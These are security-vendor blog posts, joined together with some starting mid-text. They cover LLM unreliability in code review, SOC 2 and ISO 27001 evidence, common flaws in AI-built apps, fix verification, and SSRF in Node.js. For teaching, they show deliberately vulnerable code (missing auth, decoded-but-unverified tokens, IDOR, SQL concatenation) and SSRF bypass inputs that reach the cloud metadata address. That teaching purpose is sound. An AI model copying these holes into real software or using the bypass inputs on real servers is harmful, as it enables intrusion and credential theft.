Model output is not repeatable in that sense, and the published evidence is consistent about it.

• An IEEE S&P 2024 evaluation of eight models on 228 code scenarios found that models "provide non-deterministic responses, incorrect and unfaithful reasoning, and perform poorly in real-world scenarios". Renaming functions or variables, a change that does not alter the program's behaviour at all, produced incorrect answers in 26% of cases (Ullah et al.).
• A separate study ran five models over eight tasks with settings configured to be deterministic, ten runs each, and saw accuracy vary by up to 15% between runs. Its summary: none of the models "consistently delivers repeatable accuracy across all tasks, much less identical output strings" (Atil et al.).

For a security review this has a practical cost. If run one reports five issues and run two reports four, someone has to work out whether the fifth was fixed, missed, or never real. That person's time is the most expensive line in the whole exercise.

Problem two: coverage you cannot see​

When a deterministic analyser does not report a vulnerability, you can usually say why. The file was not in a supported language. No entry point reached the function. A guard sat between the input and the call. The rule did not apply to that framework. These are inspectable reasons, and a good tool will tell you which one it was.

When a model does not mention a vulnerability, there is no such record. It may have read the file and judged it fine. It may have read it and lost the detail in the middle of a long context, a pattern documented in long-context research (Liu et al.). It may never have opened it. The silence looks the same in all three cases.

Benchmarks underline how wide the gap between an impressive demo and real code can be. A study accepted at ICSE 2025 built a stricter vulnerability dataset and found a code model that scored 68.26% F1 on an older benchmark dropped to 3.09% F1 on the new one, with results "akin to random guessing" in the most stringent settings (Ding et al.). Those were fine-tuned code models classifying single functions, not today's agents reviewing a whole repository, so the figure should not be stretched further than that. The lesson it carries is narrower and still useful: a model's apparent accuracy depends heavily on how the question was set up, and in a review you do not get to see the setup.

Problem three: you pay to read the code on every run​

A model can only look for a vulnerability by reading. To find a missing ownership check, it has to read the handler, the router, the middleware and the query, and to rule it out everywhere else it has to read everywhere else. Each review pays for that reading again, because nothing the model learned last time is kept.

Context is also not free in quality terms. People who build agents describe it as a finite resource whose recall drops as it fills (Anthropic). The more of the repository a model holds, the less reliably it uses any one part of it.

We have written about the token side of this in detail in Security analysis without wasting tokens.

Problem four: a person still has to triage the results​

Every finding a reviewer has to check by hand costs time, and an unreliable finding costs the most, because it has to be checked from scratch. A model that explains a non-existent injection fluently is harder to dismiss than a terse rule hit, not easier.

A detector that shows its work changes this. If each finding carries the entry point, each hop the data takes, and the call it reaches, a reviewer checks a path rather than an opinion. If the path is incomplete, the finding says so.

What a detector does instead​

Vulkro is built on the opposite primitive. The scan engine calls no model. It parses the code, maps every entry point the frameworks declare, follows the data from each one, and records the checks it passes on the way. Then it reports:

• The same answer every run. Same code, same findings, with stable identifiers, so a fix can be shown to have worked and a triage decision stays attached to the issue.
• Visible coverage. Each finding is marked proven, unproven or not checked, and the engine can say why nothing was reported at a given line.
• The path, not a verdict. The prove tool returns the hop-by-hop chain behind a finding. An empty chain means no proven flow was found, never that the code is safe.
• Zero model tokens for detection. The analysis costs CPU time on your machine, once.

It is not perfect, and we publish where it falls short: on our benchmark the misses sit next to the hits. The difference is that a miss is a reproducible, inspectable miss, not a mood.

Where a model genuinely helps​

None of this makes models useless in security work. It puts them where they are strong.

Drafting the fix. Given a finding, the exact lines and the path, a model is good at writing the change: a bound parameter instead of string concatenation, an ownership check in the right place, a narrower permission. The context is small and specific, which is the setting models handle best.

Explaining the finding. Turning a path into a paragraph a product manager can read, or into a ticket that says what will break and why, is writing. Models write.

Then the detector judges. The step that matters is what happens after the draft. In Vulkro, a fix a model proposes is checked by the same deterministic engine that found the problem: the verify_fix tool applies the diff to a temporary copy, scans it again, and returns fixed, not-fixed or regressed. The VS Code extension does the same for AI-drafted fixes and only offers a candidate after a fresh scan confirms the finding is gone and the file still parses. Vulkro's own AI features are opt-in and advisory: they never change a finding, its severity, the report or an exit code.

That division of labour is the point. The model proposes; the engine, which gives the same answer every time, decides whether the proposal worked.

The right approach​

"Ask a model to find the bugs" asks a probabilistic writer to perform an exhaustive, repeatable search, and then asks a person to check its work. "Run the analysis, hand the model the finding" asks each tool to do the job it is built for.

If your team is already using agents, the change is small: give the agent the analyser as a tool, over MCP, and let it spend its context on the fix. See how that works, read about Vulkro Core, or get started.

Sources​

• Ullah et al., "LLMs Cannot Reliably Identify and Reason About Security Vulnerabilities (Yet?): A Comprehensive Evaluation, Framework, and Benchmarks", IEEE S&P 2024: https://arxiv.org/abs/2312.12575
• Atil et al., "Non-Determinism of 'Deterministic' LLM Settings", arXiv 2408.04667: https://arxiv.org/abs/2408.04667
• Liu et al., "Lost in the Middle: How Language Models Use Long Contexts", TACL 2023: https://arxiv.org/abs/2307.03172
• Ding et al., "Vulnerability Detection with Code Language Models: How Far Are We?", ICSE 2025: https://arxiv.org/abs/2403.18624
• Anthropic, "Effective context engineering for AI agents", September 2025: https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents

This post covers what the two frameworks actually ask for, which parts of that a code scanner can honestly support, and which parts it cannot. Then it shows the evidence Vulkro Core produces. One point up front: a scanner does not make anyone compliant, and neither SOC 2 nor ISO 27001 is something a tool can grant.

What do SOC 2 auditors ask for under CC8.1?​

SOC 2 reports are built on the AICPA's 2017 Trust Services Criteria (with revised points of focus, 2022). Two of the Common Criteria touch code directly:

• CC8.1, change management. The entity authorises, designs, develops or acquires, configures, documents, tests, approves and implements changes to infrastructure, data, software and procedures. In an audit that becomes a sample: the auditor picks changes from the period and asks for the evidence that each one was reviewed, tested and approved before deployment.
• CC7.1, detection. The entity uses detection and monitoring to find configuration changes that introduce vulnerabilities, and susceptibility to newly discovered ones. For a software company that includes vulnerable dependencies.

Two facts shape the evidence. First, a SOC 2 report is an attestation by an independent CPA firm, not a certificate: the report describes your controls and the auditor's opinion of them. Second, a Type II report covers a period, often six to twelve months. A control that started halfway through has a gap the auditor will note. Evidence that is produced on every change, automatically, has no such gap.

Which ISO 27001:2022 controls cover secure development?​

The 2022 revision of ISO/IEC 27001 gathers secure development into a run of Annex A controls, with implementation guidance in ISO/IEC 27002:2022:

Two neighbours matter too: A.8.8, management of technical vulnerabilities, and A.8.32, change management. Unlike SOC 2, ISO 27001 does lead to a certificate, issued by an accredited certification body after auditing your management system. Again, a tool is evidence for that audit, not a substitute for it.

What evidence can a code scanner honestly provide?​

Map the questions to what a scan actually observes, and the honest list is shorter than many tool brochures suggest.

What a scan can show:

• That a security review of the code ran on a given change, at a given time, against a given commit (CC8.1, A.8.25, A.8.29).
• What that review found: injection, broken access control, hardcoded secrets, weak cryptography, each with a file and a line (A.8.28).
• Which dependencies carry known vulnerabilities, and whether your code reaches the vulnerable function (CC7.1, A.8.8).
• That a new finding blocked a merge, and that the finding later disappeared because the code changed.
• A history of all of the above across the audit period.

What a scan cannot show:

• That a human approved the change, or that the approver was not the author. That lives in your version control and ticketing.
• That requirements were defined before building (most of A.8.26), or that the architecture is sound (A.8.27).
• That developers were trained, that a penetration test happened, or that production was configured as reviewed.
• That code with no findings is secure. No findings means no detector fired, not that the code is safe.

A tool that claims to "cover" A.8.27 or the approval half of CC8.1 is overstating. The useful thing a scanner can do is be precise about the half it does cover, and say plainly when it has no evidence either way.

What does good scanner evidence look like?​

The evidence an auditor can use has three properties: it is tied to a change, it is dated, and it is the same every time you run it. A dashboard screenshot has none of those. A file written by the CI job that ran on the change has all three.

The cheapest way to get there is to make the scan part of the merge itself. With Vulkro Core, a CI step on every pull request looks like this:

# fail the pull request only on findings that are new against main
vulkro gate --base origin/main --format sarif > vulkro-gate.sarif

# keep a dated record of the scan for the audit period
vulkro scan . --save

vulkro gate scans both the working tree and the base, and exits 1 only on findings the change introduced, so existing debt does not block every merge. The SARIF file attaches to the pull request. --save stores each scan with its timestamp in a local database, and vulkro history lists them, which is the record an auditor asks for when they want to know what was true on a given date.

How do you map findings to SOC 2 and ISO 27001 controls?​

Two commands turn the scan into control language.

# control-by-control status in the terminal
vulkro compliance . --profile soc2
vulkro compliance . --profile iso27001

# a folder of evidence for the auditor
vulkro compliance-pack . --framework soc2-full -o soc2-evidence/
vulkro compliance-pack . --framework iso27001 -o iso-evidence/

vulkro compliance maps each finding to every control it affects. Under the soc2 profile, for example, an unauthenticated endpoint counts against CC6.1, a vulnerable package against CC7.2, and a route that appeared or disappeared between scans raises a warning on CC8.1. Under iso27001, a CVE match in an installed package fails A.8.8 and code weaknesses map to A.8.28. A control that no finding maps to is reported as not evaluated, never as a pass: the scan has no evidence either way, and the report says so.

vulkro compliance-pack writes the files an auditor can keep: a manifest, a summary, a findings CSV with file and line, and one file per control. The soc2-full framework covers the full Trust Services Criteria from CC1.1 to CC9.2, and adds an HTML table that lists, for each control, the rule IDs that support it and the ones that contradict it. A control fails on a High or Critical finding and is partial with only Medium or Low ones. vulkro report . --profile soc2 renders the same evaluation as an HTML report for readers who will not open a CSV.

For Salesforce orgs, Vulkro Cloud computes SOC 2 and ISO 27001 status per org from its open issues and exports evidence packs as PDF and CSV, each with a SHA-256 checksum. The compliance evidence use case shows both.

A checklist before fieldwork​

• A security scan runs on every change to the main branch, and the result is stored with the change.
• New High and Critical findings block a merge, and exceptions are recorded with a reason.
• Scan history covers the whole audit period, not just the last month.
• Dependency vulnerabilities are tracked to a fix or a recorded decision.
• The evidence pack names its framework, its scan and its date.
• Process controls (approvals, training, threat modelling) have their own evidence, because the scan does not provide it.

If your customers are in Europe, the same evidence feeds other regimes. We cover the Cyber Resilience Act and NIS2 and DORA for Salesforce orgs separately.

Where to see it​

The compliance evidence use case shows the control view. The SOC 2 reference, the compliance overview and the compliance-pack reference list every profile and framework. To build a pack from your own repository, start here.

Frequently asked questions​

Does SOC 2 require code scanning?​

No criterion names a specific tool. CC8.1 asks that changes be tested and approved before release, and CC7.1 asks that you detect vulnerabilities, so an automated scan on every change is one of the most direct ways to evidence both. Auditors care that the control operates consistently across the period.

Which ISO 27001 control covers secure coding?​

A.8.28, secure coding, in the 2022 revision of Annex A. It sits alongside A.8.25 (secure development life cycle), A.8.26 (application security requirements), A.8.27 (secure architecture) and A.8.29 (security testing in development and acceptance).

Can a scanner make us SOC 2 compliant or ISO 27001 certified?​

No. A SOC 2 report is an independent auditor's opinion, and ISO 27001 certification comes from an accredited certification body. A scanner produces evidence for the technical part of some controls; Vulkro's packs describe themselves as evidence, not attestation.

What counts as evidence for CC8.1?​

For each sampled change, auditors look for a record that it was reviewed, tested, approved and deployed as approved. A scan result tied to the commit covers the automated security review and testing part. The approval and deployment records come from your version control and release tooling.

The bugs are also surprisingly consistent. Pages that look locked but are not. A database queried straight from the browser with nothing on the server side deciding who sees which row. A secret key in the JavaScript bundle. A token that is read but never verified. A record fetched by id with no check on whose it is.

This post goes through those five, with the research behind them, then gives a pre-ship checklist and the commands to check an app before it goes live.

Is AI-generated code less secure?​

The research says it is at least not more secure, and that the people using it tend to think it is. Two peer-reviewed studies are worth knowing:

• Asleep at the Keyboard? (Pearce et al., IEEE Symposium on Security and Privacy 2022) prompted an AI code assistant with 89 security-relevant scenarios and found about 40% of the 1,689 programs it produced were vulnerable.
• Do Users Write More Insecure Code with AI Assistants? (Perry et al., ACM CCS 2023) ran a user study and found participants with an AI assistant "wrote significantly less secure code than those without access", and were more likely to believe their code was secure.

The models have improved since. The second finding has not obviously changed: when code arrives fast and works, people review it less.

The five bugs vibe-coded apps keep shipping​

1. Routes and server actions with no auth check​

The UI hides the admin page from logged-out users, so it feels protected. The API route or server action behind it checks nothing:

'use server';
export async function deleteProject(projectId: string) {
  await db.project.delete({ where: { id: projectId } });   // anyone can POST this
}

A Next.js server action is a public HTTP endpoint, whether or not any page links to it. The check belongs inside the action. We go through the details in Next.js server actions are public endpoints.

2. Client-side database access with no row level security​

App builders love Supabase and Firebase because the browser can talk to the database directly. That is only safe if the database itself enforces who can read which rows. In Supabase that is Row Level Security, in Firebase it is security rules.

CVE-2025-48757 is the clearest public example. NVD records an insufficient Row Level Security policy in sites generated by the Lovable app builder that let "remote unauthenticated attackers" read or write arbitrary tables. The researcher's write-up describes the generated apps querying the database from the browser with the public anon key and relying on policies that were missing or too loose. The supplier disputes the CVE, on the basis that each customer is responsible for securing their own application's data. Either way, the pattern is the lesson:

-- Without this, the anon key in your bundle can read every row
alter table invoices enable row level security;

create policy "owners read their invoices" on invoices
  for select using (auth.uid() = owner_id);

The Firebase equivalent is a rules file that says allow read, write: if true, usually left over from a quick-start.

3. Secrets in the frontend bundle​

Frameworks make it easy to ship a variable to the browser on purpose. Next.js inlines any NEXT_PUBLIC_ variable into the client JavaScript, and Vite exposes VITE_ variables the same way. An AI coding agent that hits "undefined in the browser" will often fix it by adding the prefix. If the variable was a payment secret key or the Supabase service_role key, it is now readable by anyone who opens developer tools. The service_role key bypasses Row Level Security entirely.

The rule is simple: anything the browser can read is public. Secret keys stay on the server, behind a route that checks the caller.

4. Tokens that are decoded, not verified​

const user = jwt.decode(token);          // reads claims, checks nothing
if (user?.role === 'admin') { ... }

decode parses a token anyone can write by hand. verify, with your key and a pinned algorithm, is the only call that makes the claims worth believing. One wrong function name turns every protected endpoint into a public one. The full story is in the sign-in that never checks the signature.

5. Records fetched by id with no ownership check​

export async function GET(req: Request, { params }: { params: { id: string } }) {
  const session = await auth();
  if (!session) return new Response(null, { status: 401 });
  return Response.json(await db.invoice.findUnique({ where: { id: params.id } }));
}

The route checks that someone is logged in, then returns any invoice to anyone who asks. Add ownerId: session.user.id to the query. This is the bug at the top of every API security list, covered in broken access control is still number one.

A sixth risk sits before any of this: packages that do not exist. AI assistants sometimes suggest dependency names that were never published, and attackers register them.

Vibe coding security checklist before you ship​

1. Every API route and server action checks the session itself. Hidden in the UI is not protected.
2. Every Supabase table the browser can reach has Row Level Security enabled and a policy per operation. No Firebase rule says if true.
3. No secret key has a NEXT_PUBLIC_, VITE_ or PUBLIC_ prefix. The service_role key is never in client code.
4. Tokens are verified with a key and a fixed algorithm, never just decoded.
5. Every lookup by id includes the owner or tenant in the query.
6. Every dependency the assistant added is a real, established package.
7. You have tried the app as a second user, and as nobody, and both were refused.

How to check a vibe-coded app with Vulkro​

Vulkro reads the repository on your machine. It uses no AI to decide findings, so the same code gets the same answer every run. Run a scan on the project:

vulkro scan .

These are the checks that map to the list above:

• nextjs-server-action-no-authz for a server action that reads or writes by its own arguments with no authorization, and route-level checks for API routes with no guard.
• SUPA-RLS-003 for browser code querying Supabase tables when no migration ever enables Row Level Security, SUPA-RLS-002 for a service_role key reaching browser code, including through a NEXT_PUBLIC_ or VITE_ name, and SUPA-RLS-001 for Firebase rules open to anyone.
• Hardcoded secrets in source, config and .env files, with known provider formats (a Stripe live key, an AWS access key) raised to High. Vulkro reads the repository, not the built bundle, so a key injected at build time from your hosting dashboard is not visible to it.
• forgeable-token-auth for sign-in that decodes a token without verifying it, reported as Critical with the number of endpoints it guards.
• idor-authn-no-ownership for authenticated lookups by a caller-supplied id. These are marked Not checked, because whether a record should be shared is sometimes a business rule.

One limit worth stating: SUPA-RLS-003 looks for enable row level security in the repository's Supabase migrations. If your policies were created by clicking in the dashboard, they are not in the repository, and the check cannot see them. Export your schema into migrations so the policies are reviewable at all.

Before installing what the assistant suggested, vulkro slopcheck --manifest . checks the dependency list for known-malicious packages, documented AI hallucinations and typosquats, offline.

Let the AI coding agent check its own work​

The best time to catch these bugs is while the agent is writing them. vulkro mcp serve runs Vulkro as an MCP server, so Claude Code, Cursor, Windsurf and other MCP clients can call scan_project, scan_file and explain on the code they just wrote. vulkro guard install goes further for Claude Code, Cursor and Windsurf: it wires a hook that scans every file the agent writes and feeds findings back before the agent moves on. The skill for AI coding agents tells the agent when to call it. The broader setup is in securing AI coding agents.

Frequently asked questions​

Is vibe coding safe for production apps?​

It can be, if someone checks the parts AI-built apps most often get wrong: authorization on every route, database access rules, secrets in client code, token verification and ownership checks. Speed of writing is not the risk. Shipping without that review is.

Is the Supabase anon key a secret?​

No. The anon key is designed to be public and ships in the browser. It is safe only when Row Level Security is enabled with correct policies on every table it can reach. The service_role key is the secret one, and it must never reach client code.

Can AI coding agents write secure code?​

They can, especially when asked to and when given a way to check their output. Studies have found that AI-assisted code is often vulnerable and that developers trust it too much, so an independent check on each change matters more than the prompt.

What is the fastest security check before launching an AI-built app?​

Sign in as a second user and try to open the first user's records by changing an id, then try every API route while logged out. Then run a scan over the repository to find the routes, rules and keys you did not think to try.

Where to see it​

The AI coding agents use case shows how an assistant asks Vulkro for findings instead of reading the whole codebase, and Vulkro for AI coding assistants covers the connections. The docs have the MCP server, the guard and slopcheck. To check your app before launch, start here.

For ordinary bugs the test suite catches some of the bad ones. Security bugs are different, because the tests rarely exercise the hostile input. A fix that escapes the wrong variable, or moves string concatenation one function further away, passes every test the old code passed.

Since Vulkro 0.30.0, vulkro fix --verify checks both claims before you see the patch. This post is about why that matters and exactly what the check does and does not prove.

Why an unchecked fix is a risk​

Research on AI-written code is a useful warning here, because AI assistants now write a large share of fixes. In a study presented at IEEE S&P 2022, Pearce and colleagues had an AI code assistant complete 89 security-relevant scenarios and found about 40% of the 1,689 programs it produced were vulnerable. A Stanford user study by Perry and colleagues found that participants with an AI assistant wrote less secure code than those without one, and were more likely to believe their code was secure. The same group of researchers behind the first study also tested models on repairing vulnerabilities: the models fixed the synthetic and hand-crafted cases, but the authors' review of real-world examples highlighted the difficulty of producing functionally correct code.

None of that is unique to models. Human fixes fail in the same few ways:

• The fix lands in the wrong place. One branch is sanitised, the other still reaches the sink.
• The fix moves the bug. Input is cleaned in the handler, then concatenated into a query again in a helper.
• The fix adds a different bug. A strict check is loosened to make the patch compile or a test pass.
• The fix silences the tool, not the flaw. A rename or a refactor that the scanner no longer recognises, with the same data flow underneath.

A reviewer can catch all four, but only by doing the analysis again. That is the step worth automating.

What --verify does​

vulkro fix . --verify      # re-scan a patched copy: fixed / not-fixed / regressed
vulkro fix . --apply       # write only the patches proven fixed
vulkro fix . --bundle fixes.zip

For each finding it has a remedy for, vulkro fix builds a patch. With --verify it applies the patches to a temporary copy of the project, scans that copy again and gives every patch one of three verdicts:

• fixed: the finding is gone, and no new finding of Medium severity or higher appeared on the changed lines.
• not-fixed: the finding is still reported after the patch.
• regressed: the patch introduced a new finding.

Your working tree is never touched by --verify, --bundle or --format diff. --apply (which implies --verify) writes only the patches marked fixed, one file at a time, and skips a file that changed since the scan. A not-fixed or regressed patch is never applied.

--bundle writes a zip file or a directory with the verified patches (per finding and combined), the patched files, every remedy as JSON and a README. It is the format to hand to a reviewer or attach to a ticket: the diff and the evidence that it was checked travel together. --format diff prints the fixed patches as one unified diff for git apply.

The exit codes are built for scripts. --verify and --bundle always exit 0, because they only report. --apply exits 0 when there was nothing to apply, 1 when at least one verified patch was written, and 2 on an IO failure or when patches were generated but none verified as fixed.

SQL fixes use your driver's own parameters​

The most common remedy is for SQL injection, and the most common wrong fix for SQL injection is escaping. Here is the vulnerable shape in Node with pg:

app.get('/orders', requireAuth, async (req, res) => {
  const sql = "SELECT id, total FROM orders WHERE status = '" + req.query.status + "'";
  const { rows } = await pool.query(sql);
  res.json(rows);
});

A hand-written fix often reaches for a replace:

const status = String(req.query.status).replace(/'/g, "''");
const sql = "SELECT id, total FROM orders WHERE status = '" + status + "'";

It may hold for this query. It is also a quoting rule you now own, applied in one place, and the next person to copy the line into a numeric comparison without quotes gets nothing from it. The OWASP SQL Injection Prevention Cheat Sheet lists prepared statements with parameterized queries as the first defence for a reason.

The remedy Vulkro produces is the bound-parameter form of the driver the code already uses:

const { rows } = await pool.query(
  'SELECT id, total FROM orders WHERE status = $1',
  [req.query.status],
);

For pg that is $1. A Python file on a driver that uses %s placeholders gets %s with a parameter tuple, not a placeholder style borrowed from another library. The value never becomes part of the SQL text, so there is nothing left to escape. Then --verify checks that the injection finding is gone and that the rewrite did not introduce anything new.

When the code shape is not one the remedy recognises, Vulkro does not guess a diff. It prints the remedy as steps with a before and after example, and there is nothing to verify or apply.

What a fixed verdict proves, and what it does not​

We want to be exact about this, because a verdict that overstates itself is worse than none.

A fixed verdict means the same deterministic engine that reported the finding no longer reports it on the patched code, and found no new Medium or higher finding on the lines the patch changed. That rules out the four failure modes above as far as the scanner can see them: the wrong branch, the moved concatenation, the new weakness and the cosmetic rename all show up as not-fixed or regressed.

It does not prove the patch keeps your application's behaviour. A parameterized query that filters on the wrong column is safe and wrong. Run your tests, and read the diff. The verdict removes the security re-analysis from the reviewer's job; it does not remove the review.

The deterministic templates and the AI tier​

vulkro fix has two other paths, and both follow the same rule of checking before claiming.

--write applies a closed list of mechanical rewrites in place, such as cookie Secure, HttpOnly and SameSite flags, MD5 or SHA-1 to SHA-256, yaml.load to yaml.safe_load, and turning off a literal debug=True. Each template re-reads the source line and refuses on any ambiguity, with a reason. --dry-run previews them. There is no model in this path.

--ai is off by default. For findings no template or remedy covers, the model you configured with vulkro ai proposes a minimal diff. It is shown as verified only if two gates pass: first a deterministic re-scan (the finding must disappear and no new finding may appear), then a second AI review of correctness. The AI review can never turn a failed re-scan into a pass. Everything from this tier is labelled advisory, and under offline mode only a model on your own machine is allowed.

Letting an agent check its own patch​

AI coding agents now write a lot of security fixes, and an agent is exactly as confident about a wrong patch as about a right one. So the same verdicts are available to agents through the Vulkro MCP server, started with vulkro mcp serve:

• suggest_fixes returns fix patches for a scan, each re-scanned on a temporary copy and labelled fixed, not-fixed or regressed.
• verify_fix takes the agent's own diff, applies it to a temporary copy of the project, re-scans and returns the same verdict.

That gives an agent a loop it can run without a human in the middle: write the patch, call verify_fix, and if the answer is not-fixed or regressed, revise before proposing anything. The verdict comes from a deterministic scan, not from a second model's opinion, so the agent cannot talk its way past it. We covered the wider set of guardrails for agents in securing AI coding agents.

Where to see it​

Run vulkro fix . --verify on a project with findings and read the verdicts before you apply anything. The vulkro fix reference lists every flag and exit code, and the MCP server page documents suggest_fixes and verify_fix. To get set up, start here.

Sources​

• Hammond Pearce et al., Asleep at the Keyboard? Assessing the Security of GitHub Copilot's Code Contributions, IEEE S&P 2022
• Neil Perry et al., Do Users Write More Insecure Code with AI Assistants?, ACM CCS 2023
• Hammond Pearce et al., Examining Zero-Shot Vulnerability Repair with Large Language Models, IEEE S&P 2023
• OWASP, SQL Injection Prevention Cheat Sheet

That reach is the problem. From the outside an attacker cannot talk to your admin service on 10.0.3.7, your Redis on localhost, or the cloud metadata service at 169.254.169.254. Your server can, and an SSRF bug lets the attacker borrow it.

This post walks through the Node.js shapes of SSRF, the fixes that hold up (and the ones that do not), and what Vulkro checks in your code.

What does SSRF in Node.js look like?​

The plainest version is one line:

app.post('/api/preview', requireAuth, async (req, res) => {
  const r = await fetch(req.body.url);          // user picks the destination
  res.json({ title: extractTitle(await r.text()) });
});

axios.get(req.query.url), got(target), http.get(url) and needle('get', url) are the same bug. So is a URL that is only partly user-controlled, such as fetch(`http://${req.body.host}/status`): the host is the part that matters.

Three variations make the simple checks fail.

Redirects. You check that the URL points at https://good.example, then fetch it. The server at good.example answers 302 Location: http://169.254.169.254/latest/meta-data/. Node's built-in fetch and axios both follow redirects by default, so your check approved one host and the request landed on another.

DNS rebinding. You resolve attacker.example, see a public address, and allow it. A moment later the HTTP client resolves the name again, and this time the attacker's DNS server answers 127.0.0.1. The check and the connection looked at two different answers.

Address tricks. http://2852039166/, http://0xA9FEA9FE/, http://[::ffff:169.254.169.254]/ and http://169.254.169.254.nip.io/ all reach the metadata address. A string blocklist that looks for 169.254 misses most of them.

Why cloud metadata is the prize​

On a cloud VM the metadata service hands out the instance's identity, including temporary credentials for its role. An SSRF that can read it can often read those credentials, and from there anything the role can reach.

That is the shape of the 2019 Capital One breach. The US Department of Justice says the intrusion "occurred through a misconfigured web application firewall that enabled access to the data." Contemporary analysis by KrebsOnSecurity described the technique as SSRF: the firewall was tricked into querying the metadata service, which returned credentials that could read storage buckets.

In November 2019 AWS introduced IMDSv2, which requires a session token obtained with a PUT request, refuses requests carrying an X-Forwarded-For header, and sends the token response with a hop limit of 1. Most SSRF bugs let an attacker choose a URL but not the method or headers, so they cannot complete that exchange. If you run on EC2, require IMDSv2 on every instance. It is the cheapest SSRF control you will ever deploy. It does not protect your other internal services, so the code still needs fixing.

How do you prevent SSRF in Node.js?​

The OWASP SSRF Prevention Cheat Sheet orders the defences clearly, and its advice on lists is short: "Deny-lists are bypass-prone. Prefer allow-lists." In order of strength:

1. Do not take a URL at all​

Often the user does not need to name a URL. They need to pick one of a few destinations. Take a key and look the URL up on the server:

const STATUS_URLS: Record<string, string> = {
  github: 'https://www.githubstatus.com/api/v2/status.json',
  stripe: 'https://status.stripe.com/api/v2/status.json',
};

app.get('/api/status/:provider', async (req, res) => {
  const p = req.params.provider;
  if (!Object.hasOwn(STATUS_URLS, p)) return res.sendStatus(404);
  const r = await fetch(STATUS_URLS[p]);
  res.json(await r.json());
});